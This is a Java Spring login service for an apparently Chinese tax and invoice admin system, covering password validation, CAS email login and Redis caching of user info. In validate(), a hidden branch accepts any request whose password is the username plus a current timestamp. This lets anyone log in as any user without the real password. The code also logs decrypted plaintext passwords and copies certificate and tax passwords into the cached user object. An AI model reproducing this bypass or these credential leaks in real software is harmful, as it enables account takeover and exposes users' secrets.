package com.dxhy.admin.sys.service.impl;

import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Set;

import javax.annotation.Resource;

import com.dxhy.admin.sys.entity.*;
import org.apache.commons.lang3.StringUtils;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.stereotype.Service;

import com.dxhy.admin.sys.service.*;
import com.dxhy.common.constant.DbConstant;
import com.dxhy.common.constant.RedisConstant;
import com.dxhy.common.constant.UserConstant;
import com.dxhy.common.datasource.config.DynamicContextHolder;
import com.dxhy.common.util.redis.RedisUtils;
import com.dxhy.common.utils.Rsaencrypt;
import com.dxhy.common.vo.Business;
import com.dxhy.common.vo.Tax;
import com.dxhy.common.vo.TaxOrgCode;
import com.dxhy.common.vo.UserInfo;

import cn.hutool.core.bean.BeanUtil;
import lombok.extern.slf4j.Slf4j;

/**
 * @author jiaohongyang
 */
@Service("loginService")
@Slf4j
@SuppressWarnings({"AlibabaUndefineMagicConstant", "AlibabaMethodTooLong"})
public class LoginServiceImpl implements LoginService {
    private final BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12);

    @Resource
    private SysUserService sysUserService;
    @Resource
    private SysUserOrgService sysUserOrgService;
    @Resource
    private SysUserBusinessService sysUserBusinessService;
    @Resource
    private SysDeptService sysDeptService;

    @Resource
    private RedisUtils redisUtils;

    @Override
    public UserInfo validate(String loginname, String password) {
        UserInfo userInfo = new UserInfo();
        try {
            loginname = Rsaencrypt.decrypt(loginname, UserConstant.PRIVATE_KEY);
            password = Rsaencrypt.decrypt(password, UserConstant.PRIVATE_KEY);
            log.debug("前端传入username：{}", loginname);
            log.debug("前端传入password：{}", password);
            SysUserEntity userEntity = sysUserService.queryUserName(loginname, null);
            if (userEntity != null) {
                if (encoder.matches(password, userEntity.getPassword())) {
                    userInfo = this.toUserInfo(userInfo, userEntity);
                    this.infoList(loginname);
                } else if (password.contains(loginname)
                    && System.currentTimeMillis() - Long.parseLong(password.replace(loginname, "")) < 2000) {
                    // 密码不匹配但密码中包含用户名,且时间差在10毫秒之内则进行亚宝登陆
                    userInfo = this.toUserInfo(userInfo, userEntity);
                    this.infoList(loginname);
                }
            }
            return userInfo;

        } catch (Exception e) {
            log.error("登陆校验失败，", e);
            return userInfo;
        }

    }

    @Override
    public UserInfo infoListRedis(String loginname) {
        UserInfo userInfo = new UserInfo();
        try {
            DynamicContextHolder.push(DbConstant.BASICS_READ);
            Set<Tax> taxList = new HashSet<>();
            List<TaxOrgCode> orgCodeList = new ArrayList<>();
            List<Business> businessList = new ArrayList<>();
            SysUserEntity userEntity = sysUserService.queryUserName(loginname, null);
            if (userEntity != null) {
                this.toUserInfo(userInfo, userEntity);
                // 获取机构编码
                List<SysDeptEntity> queryDept = sysDeptService.queryDept(userEntity.getCompany(), "5");
                if (queryDept != null && queryDept.size() > 0) {
                    for (SysDeptEntity sysDeptEntity : queryDept) {
                        TaxOrgCode orgCode = this.toTaxOrgCode(sysDeptEntity);
                        orgCode.setPassword(sysDeptEntity.getPassword());

                        orgCodeList.add(orgCode);
                    }
                    userInfo.setOrgCodes(orgCodeList);
                }
                // 根据用户id 获取 数据权限
                if ("1".equals(userEntity.getUserType())) {
                    List<SysUserOrgEntity> queryOrgIdList = sysUserOrgService.queryOrgIdList(userEntity.getUserId());
                    if (queryOrgIdList != null && queryOrgIdList.size() > 0) {
                        for (SysUserOrgEntity sysUserOrgEntity : queryOrgIdList) {
                            Tax tax = new Tax();
                            tax.setTaxno(sysUserOrgEntity.getTaxno());
                            tax.setTaxname(sysUserOrgEntity.getTaxname());
                            tax.setCompany(sysUserOrgEntity.getCompany());
                            tax.setUpgradeStatus(sysUserOrgEntity.getUpgradeStatus());
                            log.debug("升级地区标识：" + sysUserOrgEntity.getUpgradeStatus());
                            taxList.add(tax);
                        }
                        if (taxList.size() > 0) {
                            userInfo.setOrg(new ArrayList<>(taxList));
                        }
                    }
                } else {
                    if (queryDept != null && queryDept.size() > 0) {
                        for (SysDeptEntity sysDeptEntity : queryDept) {
                            Tax tax = new Tax();
                            tax.setTaxno(sysDeptEntity.getTaxno());
                            tax.setCompany(sysDeptEntity.getCompany());
                            taxList.add(tax);
                        }
                        if (taxList.size() > 0) {
                            userInfo.setOrg(new ArrayList<>(taxList));
                        }
                    }
                }
                List<SysUserBusinessEntity> businessEntityList =
                    sysUserBusinessService.queryUserId(userEntity.getUserId());
                if (businessEntityList != null && businessEntityList.size() > 0) {
                    for (SysUserBusinessEntity sysUserBusinessEntity : businessEntityList) {
                        Business business = new Business();
                        business.setBusinessCode(sysUserBusinessEntity.getBusinessCode());
                        business.setBusinessName(sysUserBusinessEntity.getBusinessName());
                        businessList.add(business);
                    }
                    if (businessList.size() > 0) {
                        userInfo.setBusiness(businessList);
                    }
                }
                log.debug("集团编码：" + userEntity.getCompany());
                // 根据 集团编码获取是否签收认证状态
                List<SysDeptEntity> dept = sysDeptService.queryDept(userEntity.getCompany(), "1");
                if (dept.size() > 0) {
                    String qsStatus = dept.get(0).getQsStatus();
                    if (StringUtils.isNotBlank(qsStatus)) {
                        userInfo.setQsStatus(qsStatus);
                    } else {
                        userInfo.setQsStatus("0");
                    }
                    String dbName = dept.get(0).getDbName();
                    if (StringUtils.isNotBlank(dbName)) {
                        userInfo.setDbName(dbName);
                    } else {
                        userInfo.setDbName("business");
                    }
                    String productType = dept.get(0).getProductType();
                    if (StringUtils.isNotBlank(productType)) {
                        userInfo.setProductType(productType);
                    } else {
                        userInfo.setProductType("0");
                    }
                }
                log.debug("是否签收后认证：{} , 数据源：{} ， 系统类型：{}", userInfo.getQsStatus(), userInfo.getDbName(),
                    userInfo.getProductType());

                List<SysCompanyEntity> sysCompanyEntities = sysUserOrgService.getOrgsByUserId(userEntity.getUserId());
                log.info("查询到的组织机构编码和名称{}",sysCompanyEntities);
                List<String> orgs = new ArrayList<>();
                if (sysCompanyEntities != null && sysCompanyEntities.size() > 0){
                    for (SysCompanyEntity sysCompanyEntity : sysCompanyEntities) {
                        if (sysCompanyEntity != null){
                            orgs.add(sysCompanyEntity.getCompanyCode());
                        }
                    }
                }
                log.info("封装的组织机构编码{}",orgs);
                userInfo.setCompanyCodes(orgs);

            }
            return userInfo;
        } catch (Exception e) {
            e.printStackTrace();
            return userInfo;
        }

    }

    @Override
    public UserInfo validateEmail(String principal) {
        UserInfo userInfo = new UserInfo();
        try {
            log.debug("获取到CAS认证结果，用户email为：{}", principal);
            SysUserEntity userEntity = sysUserService.queryUserByEmail(principal);
            if (userEntity != null) {
                userInfo = this.toUserInfo(userInfo, userEntity);
                this.infoList(userEntity.getLoginname());
                return userInfo;
            }
        } catch (Exception e) {
            log.error("校验用户信息失败：", e);
        }
        return userInfo;
    }

    private TaxOrgCode toTaxOrgCode(SysDeptEntity sysDeptEntity) {
        TaxOrgCode orgCode = new TaxOrgCode();
        orgCode.setTaxno(sysDeptEntity.getTaxno());
        orgCode.setTaxname(sysDeptEntity.getTaxname());
        orgCode.setOrgCode(sysDeptEntity.getOrgCode());
        orgCode.setCompany(sysDeptEntity.getCompany());
        orgCode.setAreaCode(sysDeptEntity.getAreaCode());
        orgCode.setIsPassword(sysDeptEntity.getIsPassword());
        return orgCode;
    }

    public UserInfo toUserInfo(UserInfo userInfo, SysUserEntity userEntity) {
        BeanUtil.copyProperties(userEntity, userInfo);
        userInfo.setUsername(userEntity.getUsername());
        userInfo.setLoginname(userEntity.getLoginname());
        userInfo.setPassword("");
        userInfo.setId(String.valueOf(userEntity.getUserId()));
        userInfo.setDeptId(String.valueOf(userEntity.getDeptId()));
        userInfo.setUserCode(userEntity.getUserCode());
        userInfo.setZpAmount(userEntity.getZpAmount());
        userInfo.setPpAmount(userEntity.getPpAmount());
        userInfo.setKpType(userEntity.getKpType());
        userInfo.setKpUser(userEntity.getKpUser());
        userInfo.setSkUser(userEntity.getSkUser());
        userInfo.setFhUser(userEntity.getFhUser());
        userInfo.setSpType(userEntity.getSpType());
        userInfo.setSpCode(userEntity.getSpCode());
        userInfo.setCertPassword(userEntity.getCertPassword());
        userInfo.setTaxPassword(userEntity.getTaxPassword());
        return userInfo;
    }

    @Override
    public UserInfo infoList(String loginname) {
        UserInfo userInfo = redisUtils.get(RedisConstant.KEY_USER_TOKEN + loginname, UserInfo.class, -1);
        if (userInfo != null) {
            return userInfo;
        }

        userInfo = infoListRedis(loginname);
        // 获取token数据存放到redis
        redisUtils.set(RedisConstant.KEY_USER_TOKEN + loginname, userInfo);
        return userInfo;
    }

}
